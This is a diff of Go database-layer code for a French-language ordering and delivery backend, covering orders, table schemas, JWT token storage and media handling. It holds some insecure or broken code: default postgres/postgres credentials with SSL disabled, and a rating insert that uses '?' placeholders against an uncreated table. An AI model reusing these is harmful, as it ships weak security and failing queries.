for rows.Next() {
var id int
var username, status, adresse string
var livreurAssign sql.NullString
var totalPrix float64
var createdAt, updatedAt time.Time
err := rows.Scan(
&id,
&username,
&status,
&adresse,
&totalPrix,
&livreurAssign,
&createdAt,
&updatedAt,
)
if err != nil {
log.Printf("❌ [GetCommandsByStatus] Erreur scan: %v", err)
return nil, fmt.Errorf("erreur lors du scan: %w", err)
}
command := map[string]interface{}{
"id": id,
"username": username,
"status": status,
"adresse": adresse,
"total_prix": totalPrix,
"created_at": createdAt,
"updated_at": updatedAt,
}
if livreurAssign.Valid {
command["livreur_assign"] = livreurAssign.String
} else {
command["livreur_assign"] = nil
}
commands = append(commands, command)
}
if err = rows.Err(); err != nil {
log.Printf("❌ [GetCommandsByStatus] Erreur itération: %v", err)
return nil, fmt.Errorf("erreur lors de l'itération: %w", err)
}
log.Printf("✅ [GetCommandsByStatus] %d commandes trouvées", len(commands))
return commands, nil
}
// GetRecentCompletedOrders récupère les N dernières commandes terminées d'un utilisateur
// ✅ Utile pour afficher les dernières commandes dans le dashboard
func (d *Database) GetRecentCompletedOrders(username string, limit int) ([]map[string]interface{}, error) {
log.Printf("📚 [GetRecentCompleted] START - username=%s, limit=%d", username, limit)
query := `
SELECT
id,
username,
status,
adresse,
total_prix,
livreur_assign,
created_at,
updated_at
FROM commandes
WHERE username = $1 AND status = 'approved'
ORDER BY created_at DESC
LIMIT $2
`
rows, err := d.Query(query, username, limit)
if err != nil {
log.Printf("❌ [GetRecentCompleted] Erreur query: %v", err)
return nil, fmt.Errorf("erreur lors de la récupération: %w", err)
}
defer rows.Close()
var commands []map[string]interface{}
for rows.Next() {
var id int
var username, status, adresse string
var livreurAssign sql.NullString
var totalPrix float64
var createdAt, updatedAt time.Time
err := rows.Scan(
&id,
&username,
&status,
&adresse,
&totalPrix,
&livreurAssign,
&createdAt,
&updatedAt,
)
if err != nil {
log.Printf("❌ [GetRecentCompleted] Erreur scan: %v", err)
return nil, fmt.Errorf("erreur lors du scan: %w", err)
}
command := map[string]interface{}{
"id": id,
"username": username,
"status": status,
"adresse": adresse,
"total_prix": totalPrix,
"created_at": createdAt,
"updated_at": updatedAt,
}
if livreurAssign.Valid {
command["livreur_assign"] = livreurAssign.String
} else {
command["livreur_assign"] = nil
}
commands = append(commands, command)
}
if err = rows.Err(); err != nil {
log.Printf("❌ [GetRecentCompleted] Erreur itération: %v", err)
return nil, fmt.Errorf("erreur lors de l'itération: %w", err)
}
log.Printf("✅ [GetRecentCompleted] %d commandes récentes trouvées", len(commands))
return commands, nil
}
+335
View File
@@ -0,0 +1,335 @@
package db
import (
"database/sql"
"fmt"
"log"
"os"
"time"
_ "github.com/lib/pq"
)
// ============================================
// STRUCTURES
// ============================================
// Database encapsule la connexion à la base de données
type Database struct {
*sql.DB
}
// DB est l'instance globale de la base de données
var DB *Database
// ============================================
// INITIALISATION DE LA BASE DE DONNÉES
// ============================================
// InitDB initialise la connexion à PostgreSQL et crée les tables
func InitDB() *Database {
// Récupérer les paramètres de connexion
host := getEnv("DB_HOST", "localhost")
port := getEnv("DB_PORT", "5432")
user := getEnv("DB_USER", "postgres")
password := getEnv("DB_PASSWORD", "postgres")
dbname := getEnv("DB_NAME", "gestion_db")
sslmode := getEnv("DB_SSLMODE", "disable")
// Construire la chaîne de connexion
connStr := fmt.Sprintf("host=%s port=%s user=%s password=%s dbname=%s sslmode=%s",
host, port, user, password, dbname, sslmode)
// Ouvrir la connexion
db, err := sql.Open("postgres", connStr)
if err != nil {
log.Fatalf("❌ Erreur lors de l'ouverture de la base de données: %v", err)
}
// Configuration du pool de connexions
db.SetMaxOpenConns(25)
db.SetMaxIdleConns(5)
db.SetConnMaxLifetime(5 * time.Minute)
// Tester la connexion
if err = db.Ping(); err != nil {
log.Fatalf("❌ Erreur de connexion à la base de données: %v", err)
}
log.Println("✅ Connexion à PostgreSQL établie avec succès")
// Créer l'instance Database
database := &Database{db}
// Assigner à la variable globale
DB = database
// Créer les tables
if err = database.createTables(); err != nil {
log.Fatalf("❌ Erreur lors de la création des tables: %v", err)
}
log.Println("✅ Tables créées avec succès")
// Lancer le nettoyage périodique des tokens expirés
go database.cleanExpiredTokensPeriodically()
return database
}
// ============================================
// CRÉATION DES TABLES
// ============================================
// createTables crée toutes les tables nécessaires
func (db *Database) createTables() error {
queries := []string{
// ============================
// TABLE users
// ============================
`CREATE TABLE IF NOT EXISTS users (
id SERIAL PRIMARY KEY,
username VARCHAR(255) UNIQUE NOT NULL,
password TEXT NOT NULL,
role VARCHAR(50) NOT NULL DEFAULT 'user',
total NUMERIC(10,2) DEFAULT 0.0,
livraison NUMERIC(10,2) DEFAULT 0.0,
created_at TIMESTAMP DEFAULT CURRENT_TIMESTAMP,
updated_at TIMESTAMP DEFAULT CURRENT_TIMESTAMP
);`,
// ============================
// TABLE clients - ✅ AVEC COLONNES DE TRACKING DES ANNULATIONS
// ============================
`CREATE TABLE IF NOT EXISTS clients (
id SERIAL PRIMARY KEY,
username VARCHAR(255) UNIQUE NOT NULL,
password TEXT NOT NULL,
nom VARCHAR(100) NOT NULL,
prenom VARCHAR(100) NOT NULL,
telephone VARCHAR(20) NOT NULL UNIQUE,
command INTEGER DEFAULT 0,
point INTEGER DEFAULT 0,
point_zipette INTEGER DEFAULT 0,
amende NUMERIC(10,2) DEFAULT 0.0,
cancel_commande INTEGER DEFAULT 0,
cancellations_count INTEGER DEFAULT 0 NOT NULL,
last_penalty_reason TEXT DEFAULT NULL,
updated_at TIMESTAMP DEFAULT CURRENT_TIMESTAMP,
created_at TIMESTAMP DEFAULT CURRENT_TIMESTAMP
);`,
// ============================
// TABLE jwt_tokens
// ============================
`CREATE TABLE IF NOT EXISTS jwt_tokens (
id SERIAL PRIMARY KEY,
user_id INTEGER NOT NULL,
user_type VARCHAR(20) NOT NULL CHECK (user_type IN ('client', 'admin', 'cabine', 'livreur')),
token TEXT NOT NULL,
date_save TIMESTAMP DEFAULT CURRENT_TIMESTAMP,
date_fin TIMESTAMP NOT NULL,
CHECK (date_fin > date_save)
);`,
// ============================
// TABLE products
// ============================
`CREATE TABLE IF NOT EXISTS products (
id SERIAL PRIMARY KEY,
name VARCHAR(255) NOT NULL,
category VARCHAR(100) NOT NULL,
stock DECIMAL(10,2) NOT NULL DEFAULT 0,
description TEXT,
created_at TIMESTAMP DEFAULT CURRENT_TIMESTAMP,
updated_at TIMESTAMP DEFAULT CURRENT_TIMESTAMP
);`,
// ============================
// TABLE product_prices
// ============================
`CREATE TABLE IF NOT EXISTS product_prices (
id SERIAL PRIMARY KEY,
product_id INTEGER NOT NULL REFERENCES products(id) ON DELETE CASCADE,
quantity INTEGER NOT NULL,
price NUMERIC(10,2) NOT NULL,
created_at TIMESTAMP DEFAULT CURRENT_TIMESTAMP,
UNIQUE(product_id, quantity)
);`,
// ============================
// TABLE media
// ============================
`CREATE TABLE IF NOT EXISTS media (
id SERIAL PRIMARY KEY,
product_id INTEGER NOT NULL REFERENCES products(id) ON DELETE CASCADE,
url TEXT NOT NULL,
type VARCHAR(50) NOT NULL,
created_at TIMESTAMP DEFAULT CURRENT_TIMESTAMP
);`,
// ============================
// TABLE commandes
// ============================
`CREATE TABLE IF NOT EXISTS commandes (
id SERIAL PRIMARY KEY,
username VARCHAR(255) NOT NULL,
status VARCHAR(50) NOT NULL DEFAULT 'pending',
livreur_assign VARCHAR(50),
adresse TEXT DEFAULT 'Adresse non spécifiée',
total_prix NUMERIC(10,2) NOT NULL DEFAULT 0.0,
created_at TIMESTAMP DEFAULT CURRENT_TIMESTAMP,
updated_at TIMESTAMP DEFAULT CURRENT_TIMESTAMP
);`,
// ============================
// TABLE command_items
// ============================
`CREATE TABLE IF NOT EXISTS command_items (
id SERIAL PRIMARY KEY,
command_id INTEGER NOT NULL REFERENCES commandes(id) ON DELETE CASCADE,
produit VARCHAR(255) NOT NULL,
product_id INTEGER REFERENCES products(id) ON DELETE SET NULL,
quantite INTEGER NOT NULL,
prix NUMERIC(10,2) NOT NULL,
-- Nouvelles colonnes pour les infos client
client_username VARCHAR(255),
client_nom VARCHAR(100),
client_prenom VARCHAR(100),
client_telephone VARCHAR(20),
delivery_address TEXT,
status VARCHAR(50) DEFAULT 'pending',
created_at TIMESTAMP DEFAULT CURRENT_TIMESTAMP,
updated_at TIMESTAMP DEFAULT CURRENT_TIMESTAMP
);`,
// ============================
// TABLE baskets
// ============================
`CREATE TABLE IF NOT EXISTS baskets (
id SERIAL PRIMARY KEY,
username VARCHAR(255) NOT NULL,
product_id INTEGER NOT NULL REFERENCES products(id) ON DELETE CASCADE,
quantity INTEGER NOT NULL,
price NUMERIC(10,2) NOT NULL,
created_at TIMESTAMP DEFAULT CURRENT_TIMESTAMP
);`,
// ============================
// TABLE command_logs
// ============================
`CREATE TABLE IF NOT EXISTS command_logs (
id SERIAL PRIMARY KEY,
command_id INTEGER NOT NULL REFERENCES commandes(id) ON DELETE CASCADE,
status VARCHAR(50) NOT NULL,
message TEXT NOT NULL,
author VARCHAR(255) NOT NULL,
created_at TIMESTAMP DEFAULT CURRENT_TIMESTAMP
);`,
// ============================
// TABLE delivery_issues
// ============================
`CREATE TABLE IF NOT EXISTS delivery_issues (
id SERIAL PRIMARY KEY,
command_id INTEGER NOT NULL REFERENCES commandes(id) ON DELETE CASCADE,
issue_type VARCHAR(50) NOT NULL,
description TEXT NOT NULL,
status VARCHAR(20) NOT NULL DEFAULT 'open',
reported_by VARCHAR(100) NOT NULL,
resolved_by VARCHAR(100),
resolution TEXT,
created_at TIMESTAMP NOT NULL DEFAULT CURRENT_TIMESTAMP,
updated_at TIMESTAMP NOT NULL DEFAULT CURRENT_TIMESTAMP
);`,
`CREATE TABLE IF NOT EXISTS alerte_policy (
id SERIAL PRIMARY KEY,
username VARCHAR(100) NOT NULL,
status VARCHAR(20) NOT NULL DEFAULT 'false',
created_at TIMESTAMP NOT NULL DEFAULT CURRENT_TIMESTAMP,
updated_at TIMESTAMP NOT NULL DEFAULT CURRENT_TIMESTAMP
);`,
// ============================
// INDEXES - ✅ AJOUT D'INDEX POUR CANCELLATIONS_COUNT
// ============================
`CREATE INDEX IF NOT EXISTS idx_command_items_command_id ON command_items(command_id);`,
`CREATE INDEX IF NOT EXISTS idx_command_items_client_username ON command_items(client_username);`,
`CREATE INDEX IF NOT EXISTS idx_command_items_status ON command_items(status);`,
`CREATE INDEX IF NOT EXISTS idx_command_items_produit ON command_items(produit);`,
`CREATE INDEX IF NOT EXISTS idx_clients_point_zipette ON clients(point_zipette) WHERE point_zipette > 0;`,
`CREATE INDEX IF NOT EXISTS idx_jwt_user_id ON jwt_tokens(user_id);`,
`CREATE INDEX IF NOT EXISTS idx_jwt_user_type ON jwt_tokens(user_type);`,
`CREATE INDEX IF NOT EXISTS idx_jwt_token ON jwt_tokens(token);`,
`CREATE INDEX IF NOT EXISTS idx_jwt_date_fin ON jwt_tokens(date_fin);`,
`CREATE INDEX IF NOT EXISTS idx_clients_telephone ON clients(telephone);`,
`CREATE INDEX IF NOT EXISTS idx_clients_cancellations ON clients(cancellations_count);`,
`CREATE INDEX IF NOT EXISTS idx_clients_amende ON clients(amende) WHERE amende > 0;`,
`CREATE INDEX IF NOT EXISTS idx_cmd_username ON commandes(username);`,
`CREATE INDEX IF NOT EXISTS idx_cmd_status ON commandes(status);`,
`CREATE INDEX IF NOT EXISTS idx_cmd_livreur ON commandes(livreur_assign);`,
`CREATE INDEX IF NOT EXISTS idx_products_category ON products(category);`,
`CREATE INDEX IF NOT EXISTS idx_media_product_id ON media(product_id);`,
`CREATE INDEX IF NOT EXISTS idx_price_product_id ON product_prices(product_id);`,
`CREATE INDEX IF NOT EXISTS idx_items_command_id ON command_items(command_id);`,
`CREATE INDEX IF NOT EXISTS idx_items_product_id ON command_items(product_id);`,
`CREATE INDEX IF NOT EXISTS idx_baskets_username ON baskets(username);`,
`CREATE INDEX IF NOT EXISTS idx_baskets_product_id ON baskets(product_id);`,
`CREATE INDEX IF NOT EXISTS idx_logs_command_id ON command_logs(command_id);`,
`CREATE INDEX IF NOT EXISTS idx_issues_command ON delivery_issues(command_id);`,
`CREATE INDEX IF NOT EXISTS idx_issues_status ON delivery_issues(status);`,
`CREATE INDEX IF NOT EXISTS idx_issues_reported_by ON delivery_issues(reported_by);`,
}
for _, query := range queries {
if _, err := db.Exec(query); err != nil {
return fmt.Errorf("❌ Erreur SQL: %v\nRequête: %s", err, query)
}
}
log.Println("✅ Toutes les tables PostgreSQL créées avec succès.")
return nil
}
// ============================================
// MÉTHODES POUR LES TOKENS JWT
// ============================================
// CleanExpiredTokens supprime les tokens JWT expirés
func (d *Database) CleanExpiredTokens() error {
query := `DELETE FROM jwt_tokens WHERE date_fin < $1`
result, err := d.Exec(query, time.Now())
if err != nil {
return err
}
rowsAffected, _ := result.RowsAffected()
if rowsAffected > 0 {
log.Printf("🧹 %d token(s) expiré(s) supprimé(s)", rowsAffected)
}
return nil
}
// cleanExpiredTokensPeriodically nettoie les tokens expirés toutes les heures
func (db *Database) cleanExpiredTokensPeriodically() {
ticker := time.NewTicker(1 * time.Hour)
defer ticker.Stop()
for range ticker.C {
if err := db.CleanExpiredTokens(); err != nil {
log.Printf("⚠️ Erreur lors du nettoyage des tokens: %v", err)
}
}
}
// getEnv récupère une variable d'environnement ou retourne une valeur par défaut
func getEnv(key, defaultValue string) string {
if value := os.Getenv(key); value != "" {
return value
}
return defaultValue
}
+167
View File
@@ -0,0 +1,167 @@
package db
import (
"database/sql"
"fmt"
"log"
"time"
)
func (d *Database) SaveToken(userID int, userType string, token string, expiresAt time.Time) error {
// Valider le user_type
validTypes := map[string]bool{
"client": true,
"admin": true,
"cabine": true,
"livreur": true,
}
if !validTypes[userType] {
return fmt.Errorf("type d'utilisateur invalide: %s", userType)
}
query := `INSERT INTO jwt_tokens (user_id, user_type, token, date_save, date_fin)
VALUES ($1, $2, $3, CURRENT_TIMESTAMP, $4)`
_, err := d.Exec(query, userID, userType, token, expiresAt)
if err != nil {
return fmt.Errorf("erreur lors de l'enregistrement du token: %w", err)
}
log.Printf("✅ Token enregistré pour %s ID: %d", userType, userID)
return nil
}
// IsTokenValid vérifie si un token existe et n'est pas expiré
func (d *Database) IsTokenValid(token string) (bool, error) {
query := `SELECT COUNT(*) FROM jwt_tokens
WHERE token = $1 AND date_fin > $2`
var count int
err := d.QueryRow(query, token, time.Now()).Scan(&count)
if err != nil {
return false, fmt.Errorf("erreur lors de la vérification du token: %w", err)
}
return count > 0, nil
}
// RevokeToken révoque un token (le supprime de la base)
func (d *Database) RevokeToken(token string) error {
query := `DELETE FROM jwt_tokens WHERE token = $1`
result, err := d.Exec(query, token)
if err != nil {
return fmt.Errorf("erreur lors de la révocation du token: %w", err)
}
rowsAffected, _ := result.RowsAffected()
if rowsAffected > 0 {
log.Printf("✅ Token révoqué avec succès")
}
return nil
}
// RevokeAllUserTokens révoque tous les tokens d'un utilisateur
func (d *Database) RevokeAllUserTokens(userID int, userType string) error {
query := `DELETE FROM jwt_tokens WHERE user_id = $1 AND user_type = $2`
result, err := d.Exec(query, userID, userType)
if err != nil {
return fmt.Errorf("erreur lors de la révocation des tokens: %w", err)
}
rowsAffected, _ := result.RowsAffected()
log.Printf("✅ %d token(s) révoqué(s) pour %s ID: %d", rowsAffected, userType, userID)
return nil
}
// GetUserActiveTokens récupère tous les tokens actifs d'un utilisateur
func (d *Database) GetUserActiveTokens(userID int, userType string) ([]map[string]interface{}, error) {
query := `SELECT id, token, date_save, date_fin
FROM jwt_tokens
WHERE user_id = $1 AND user_type = $2 AND date_fin > $3
ORDER BY date_save DESC`
rows, err := d.Query(query, userID, userType, time.Now())
if err != nil {
return nil, fmt.Errorf("erreur lors de la récupération des tokens: %w", err)
}
defer rows.Close()
var tokens []map[string]interface{}
for rows.Next() {
var id int
var token string
var dateSave, dateFin time.Time
err := rows.Scan(&id, &token, &dateSave, &dateFin)
if err != nil {
return nil, fmt.Errorf("erreur lors du scan: %w", err)
}
tokens = append(tokens, map[string]interface{}{
"id": id,
"token": token[:20] + "...", // Tronquer pour la sécurité
"date_save": dateSave,
"date_fin": dateFin,
"user_type": userType,
})
}
return tokens, nil
}
func (d *Database) GetTokenInfo(token string) (map[string]interface{}, error) {
query := `SELECT user_id, user_type, date_save, date_fin
FROM jwt_tokens
WHERE token = $1 AND date_fin > $2`
var userID int
var userType string
var dateSave, dateFin time.Time
err := d.QueryRow(query, token, time.Now()).Scan(&userID, &userType, &dateSave, &dateFin)
if err == sql.ErrNoRows {
return nil, fmt.Errorf("token non trouvé ou expiré")
}
if err != nil {
return nil, fmt.Errorf("erreur lors de la récupération des infos du token: %w", err)
}
tokenInfo := map[string]interface{}{
"user_id": userID,
"user_type": userType,
"date_save": dateSave,
"date_fin": dateFin,
}
return tokenInfo, nil
}
func (d *Database) CountActiveTokensByType() (map[string]int, error) {
query := `SELECT user_type, COUNT(*) as count
FROM jwt_tokens
WHERE date_fin > $1
GROUP BY user_type`
rows, err := d.Query(query, time.Now())
if err != nil {
return nil, fmt.Errorf("erreur lors du comptage des tokens: %w", err)
}
defer rows.Close()
counts := make(map[string]int)
for rows.Next() {
var userType string
var count int
if err := rows.Scan(&userType, &count); err != nil {
return nil, err
}
counts[userType] = count
}
return counts, nil
}
+420
View File
@@ -0,0 +1,420 @@
package db
import (
"database/sql"
"fmt"
"gestion/models"
"log"
"strings"
"time"
)
// ============================================
// VALIDATION HELPERS
// ============================================
// validateMediaID vérifie la validité d'un ID média
func validateMediaID(mediaID int) error {
if mediaID <= 0 {
return fmt.Errorf("ID média invalide: %d", mediaID)
}
if mediaID > 2147483647 { // Max int32
return fmt.Errorf("ID média trop grand")
}
return nil
}
// validateProductID vérifie la validité d'un ID produit
func validateProductID(productID int) error {
if productID <= 0 {
return fmt.Errorf("ID produit invalide: %d", productID)
}
if productID > 2147483647 {
return fmt.Errorf("ID produit trop grand")
}
return nil
}
// validateMediaType vérifie le type de média
func validateMediaType(mediaType string) error {
validTypes := []string{"image", "video"}
mediaType = strings.ToLower(strings.TrimSpace(mediaType))
for _, valid := range validTypes {
if mediaType == valid {
return nil
}
}
return fmt.Errorf("type de média invalide: %s (autorisé: image, video)", mediaType)
}
// validateMediaURL vérifie la sécurité de l'URL
func validateMediaURL(url string) error {
if len(url) == 0 {
return fmt.Errorf("URL vide")
}
if len(url) > 500 {
return fmt.Errorf("URL trop longue (max 500 caractères)")
}
// ✅ PROTECTION PATH TRAVERSAL
if strings.Contains(url, "..") {
return fmt.Errorf("path traversal détecté dans l'URL")
}
// ✅ VÉRIFIER QUE L'URL COMMENCE PAR /uploads/
if !strings.HasPrefix(url, "/uploads/") {
return fmt.Errorf("URL doit commencer par /uploads/")
}
// ✅ VÉRIFIER QU'IL N'Y A PAS DE CARACTÈRES DANGEREUX
dangerousChars := []string{
"<", ">", "\"", "'", ";", "|", "&", "$", "`", "\\",
}
for _, char := range dangerousChars {
if strings.Contains(url, char) {
return fmt.Errorf("caractères interdits dans l'URL")
}
}
return nil
}
// ============================================
// CREATE MEDIA - VERSION SÉCURISÉE
// ============================================
func (db *Database) CreateMedia(media interface{}) error {
log.Printf("🔒 [CreateMedia] START - Type: %T", media)
type MediaInterface interface {
GetProductID() int
GetType() string
GetURL() string
SetID(int)
}
// ✅ TYPE ASSERTION SÉCURISÉE
m, ok := media.(MediaInterface)
if !ok {
// Vérifier si c'est un pointeur vers models.Media
if mediaPtr, isPtr := media.(*models.Media); isPtr {
m = mediaPtr
ok = true
} else {
log.Printf("❌ [CreateMedia] Type invalide: %T", media)
return fmt.Errorf("type de média invalide: reçu %T", media)
}
}
if !ok {
return fmt.Errorf("type de média invalide")
}
// ✅ VALIDATION COMPLÈTE
productID := m.GetProductID()
mediaType := m.GetType()
mediaURL := m.GetURL()
log.Printf("📋 [CreateMedia] ProductID=%d, Type=%s, URL=%s", productID, mediaType, mediaURL)
// Valider le product ID
if err := validateProductID(productID); err != nil {
log.Printf("❌ [CreateMedia] %v", err)
return err
}
// Valider le type
if err := validateMediaType(mediaType); err != nil {
log.Printf("❌ [CreateMedia] %v", err)
return err
}
// Valider l'URL
if err := validateMediaURL(mediaURL); err != nil {
log.Printf("❌ [CreateMedia] %v", err)
return err
}
// ✅ VÉRIFIER QUE LE PRODUIT EXISTE
var exists bool
checkQuery := `SELECT EXISTS(SELECT 1 FROM products WHERE id = $1)`
err := db.QueryRow(checkQuery, productID).Scan(&exists)
if err != nil {
log.Printf("❌ [CreateMedia] Erreur vérification produit: %v", err)
return fmt.Errorf("erreur vérification produit: %w", err)
}
if !exists {
log.Printf("❌ [CreateMedia] Produit %d n'existe pas", productID)
return fmt.Errorf("produit %d n'existe pas", productID)
}
// ✅ INSÉRER LE MÉDIA
query := `INSERT INTO media (product_id, url, type, created_at)
VALUES ($1, $2, $3, $4) RETURNING id`
var mediaID int
now := time.Now()
err = db.QueryRow(query, productID, mediaURL, mediaType, now).Scan(&mediaID)
if err != nil {
log.Printf("❌ [CreateMedia] Erreur INSERT: %v", err)
return fmt.Errorf("erreur création média: %w", err)
}
m.SetID(mediaID)
log.Printf("✅ [CreateMedia] Média créé: ID=%d, Type=%s", mediaID, mediaType)
return nil
}
// ============================================
// GET MEDIA BY ID - VERSION SÉCURISÉE
// ============================================
func (db *Database) GetMediaByID(mediaID int) (*models.Media, error) {
log.Printf("🔍 [GetMediaByID] START - ID=%d", mediaID)
// ✅ VALIDATION
if err := validateMediaID(mediaID); err != nil {
log.Printf("❌ [GetMediaByID] %v", err)
return nil, err
}
var media models.Media
query := `SELECT id, product_id, url, type, created_at
FROM media
WHERE id = $1`
err := db.QueryRow(query, mediaID).Scan(
&media.ID,
&media.ProductID,
&media.URL,
&media.Type,
&media.CreatedAt,
)
if err == sql.ErrNoRows {
log.Printf("❌ [GetMediaByID] Média %d non trouvé", mediaID)
return nil, fmt.Errorf("média non trouvé")
}
if err != nil {
log.Printf("❌ [GetMediaByID] Erreur query: %v", err)
return nil, fmt.Errorf("erreur récupération média: %w", err)
}
log.Printf("✅ [GetMediaByID] Média trouvé: Type=%s", media.Type)
return &media, nil
}
// ============================================
// GET MEDIA BY PRODUCT ID - VERSION SÉCURISÉE
// ============================================
func (db *Database) GetMediaByProductID(productID int) ([]models.Media, error) {
log.Printf("🖼️ [GetMediaByProductID] START - ProductID=%d", productID)
// ✅ VALIDATION
if err := validateProductID(productID); err != nil {
log.Printf("❌ [GetMediaByProductID] %v", err)
return nil, err
}
query := `SELECT id, product_id, url, type, created_at
FROM media
WHERE product_id = $1
ORDER BY id ASC`
rows, err := db.Query(query, productID)
if err != nil {
log.Printf("❌ [GetMediaByProductID] Erreur query: %v", err)
return nil, fmt.Errorf("erreur récupération médias: %w", err)
}
defer rows.Close()
var mediaList []models.Media
for rows.Next() {
var media models.Media
if err := rows.Scan(
&media.ID,
&media.ProductID,
&media.URL,
&media.Type,
&media.CreatedAt,
); err != nil {
log.Printf("❌ [GetMediaByProductID] Erreur scan: %v", err)
return nil, fmt.Errorf("erreur scan média: %w", err)
}
log.Printf(" 🖼️ Media: ID=%d, Type=%s", media.ID, media.Type)
mediaList = append(mediaList, media)
}
if err = rows.Err(); err != nil {
log.Printf("❌ [GetMediaByProductID] Erreur iteration: %v", err)
return nil, fmt.Errorf("erreur itération médias: %w", err)
}
log.Printf("✅ [GetMediaByProductID] %d médias trouvés", len(mediaList))
return mediaList, nil
}
// ============================================
// UPDATE MEDIA - VERSION SÉCURISÉE
// ============================================
func (db *Database) UpdateMedia(media *models.Media) error {
log.Printf("🔄 [UpdateMedia] START - ID=%d", media.ID)
// ✅ VALIDATION
if media == nil {
return fmt.Errorf("média nil")
}
if err := validateMediaID(media.ID); err != nil {
log.Printf("❌ [UpdateMedia] %v", err)
return err
}
if err := validateMediaType(media.Type); err != nil {
log.Printf("❌ [UpdateMedia] %v", err)
return err
}
if err := validateMediaURL(media.URL); err != nil {
log.Printf("❌ [UpdateMedia] %v", err)
return err
}
// ✅ VÉRIFIER QUE LE MÉDIA EXISTE
var exists bool
checkQuery := `SELECT EXISTS(SELECT 1 FROM media WHERE id = $1)`
err := db.QueryRow(checkQuery, media.ID).Scan(&exists)
if err != nil {
log.Printf("❌ [UpdateMedia] Erreur vérification: %v", err)
return fmt.Errorf("erreur vérification média: %w", err)
}
if !exists {
log.Printf("❌ [UpdateMedia] Média %d n'existe pas", media.ID)
return fmt.Errorf("média %d non trouvé", media.ID)
}
// ✅ UPDATE
query := `UPDATE media
SET url = $1, type = $2
WHERE id = $3`
result, err := db.Exec(query, media.URL, media.Type, media.ID)
if err != nil {
log.Printf("❌ [UpdateMedia] Erreur UPDATE: %v", err)
return fmt.Errorf("erreur mise à jour média: %w", err)
}
rowsAffected, _ := result.RowsAffected()
if rowsAffected == 0 {
log.Printf("❌ [UpdateMedia] Aucune ligne affectée")
return fmt.Errorf("média non trouvé")
}
log.Printf("✅ [UpdateMedia] Média %d mis à jour", media.ID)
return nil
}
// ============================================
// DELETE MEDIA - VERSION SÉCURISÉE
// ============================================
func (db *Database) DeleteMedia(mediaID int) error {
log.Printf("🗑️ [DeleteMedia] START - ID=%d", mediaID)
// ✅ VALIDATION
if err := validateMediaID(mediaID); err != nil {
log.Printf("❌ [DeleteMedia] %v", err)
return err
}
// ✅ VÉRIFIER QUE LE MÉDIA EXISTE
var exists bool
checkQuery := `SELECT EXISTS(SELECT 1 FROM media WHERE id = $1)`
err := db.QueryRow(checkQuery, mediaID).Scan(&exists)
if err != nil {
log.Printf("❌ [DeleteMedia] Erreur vérification: %v", err)
return fmt.Errorf("erreur vérification média: %w", err)
}
if !exists {
log.Printf("❌ [DeleteMedia] Média %d n'existe pas", mediaID)
return fmt.Errorf("média %d non trouvé", mediaID)
}
// ✅ DELETE
query := `DELETE FROM media WHERE id = $1`
result, err := db.Exec(query, mediaID)
if err != nil {
log.Printf("❌ [DeleteMedia] Erreur DELETE: %v", err)
return fmt.Errorf("erreur suppression média: %w", err)
}
rowsAffected, _ := result.RowsAffected()
if rowsAffected == 0 {
log.Printf("❌ [DeleteMedia] Aucune ligne affectée")
return fmt.Errorf("média non trouvé")
}
log.Printf("✅ [DeleteMedia] Média %d supprimé", mediaID)
return nil
}
// ============================================
// DELETE MEDIA BY PRODUCT ID - VERSION SÉCURISÉE
// ============================================
func (db *Database) DeleteMediaByProductID(productID int) error {
log.Printf("🗑️ [DeleteMediaByProductID] START - ProductID=%d", productID)
// ✅ VALIDATION
if err := validateProductID(productID); err != nil {
log.Printf("❌ [DeleteMediaByProductID] %v", err)
return err
}
// ✅ VÉRIFIER QUE LE PRODUIT EXISTE
var exists bool
checkQuery := `SELECT EXISTS(SELECT 1 FROM products WHERE id = $1)`
err := db.QueryRow(checkQuery, productID).Scan(&exists)
if err != nil {
log.Printf("❌ [DeleteMediaByProductID] Erreur vérification: %v", err)
return fmt.Errorf("erreur vérification produit: %w", err)
}
if !exists {
log.Printf("❌ [DeleteMediaByProductID] Produit %d n'existe pas", productID)
return fmt.Errorf("produit %d non trouvé", productID)
}
// ✅ DELETE
query := `DELETE FROM media WHERE product_id = $1`
result, err := db.Exec(query, productID)
if err != nil {
log.Printf("❌ [DeleteMediaByProductID] Erreur DELETE: %v", err)
return fmt.Errorf("erreur suppression médias: %w", err)
}
rowsAffected, _ := result.RowsAffected()
log.Printf("✅ [DeleteMediaByProductID] %d média(s) supprimé(s) pour produit %d",
rowsAffected, productID)
return nil
}
+44
View File
@@ -0,0 +1,44 @@
package db
import (
"encoding/json"
"fmt"
"log"
"time"
)
func (d *Database) NotifyClient(username string, commandID int, notifType, message string) error {
// Sauvegarder la notification dans Redis
notifKey := fmt.Sprintf("notifications:%s", username)
notification := map[string]interface{}{
"command_id": commandID,
"type": notifType,
"message": message,
"created_at": time.Now().Format(time.RFC3339),
"read": false,
}
notifJSON, _ := json.Marshal(notification)
Redis.LPush(RedisCtx, notifKey, notifJSON)
Redis.Expire(RedisCtx, notifKey, 7*24*time.Hour) // Expire après 7 jours
log.Printf("📬 Notification envoyée à %s: %s", username, message)
return nil
}
// AddDeliveryRating ajoute une note pour un livreur
func (d *Database) AddDeliveryRating(livreurUsername string, commandID, rating int, comment string) error {
query := `
INSERT INTO delivery_ratings (livreur_username, command_id, rating, comment, created_at)
VALUES (?, ?, ?, ?, NOW())
`
_, err := d.Exec(query, livreurUsername, commandID, rating, comment)
if err != nil {
log.Printf("⚠️ Erreur sauvegarde note livreur: %v", err)
return err
}
log.Printf("⭐ Note %d/5 ajoutée pour livreur %s (commande %d)", rating, livreurUsername, commandID)
return nil
}
+256
View File
@@ -0,0 +1,256 @@
package db
import (
"database/sql"
"fmt"
"gestion/models"
"log"
"time"
)
// CreateProduct crée un nouveau produit avec ses prix
func (db *Database) CreateProduct(product interface{}) error {
log.Printf("🔍 [DB CreateProduct] Type reçu: %T", product)
log.Printf("🔍 [DB CreateProduct] Valeur: %+v", product)
type ProductInterface interface {
GetName() string
GetCategory() string
GetDescription() string
GetStock() float64 // ← ajouter méthode pour le stock
GetPrices() []models.ProductPrice
SetID(int)
SetCreatedAt(time.Time)
SetUpdatedAt(time.Time)
}
p, ok := product.(ProductInterface)
if !ok {
// Vérifier si c'est un pointeur vers models.Product
if prodPtr, isPtr := product.(*models.Product); isPtr {
log.Printf("✅ [DB CreateProduct] C'est un *models.Product, utilisons-le directement")
p = prodPtr // ça fonctionne maintenant car *models.Product implémente ProductInterface
ok = true
} else {
return fmt.Errorf("type de produit invalide: reçu %T, attendu ProductInterface", product)
}
}
if ok {
log.Printf("✅ [DB CreateProduct] Assertion réussie!")
log.Printf("📦 [DB CreateProduct] Name: %s", p.GetName())
log.Printf("📦 [DB CreateProduct] Category: %s", p.GetCategory())
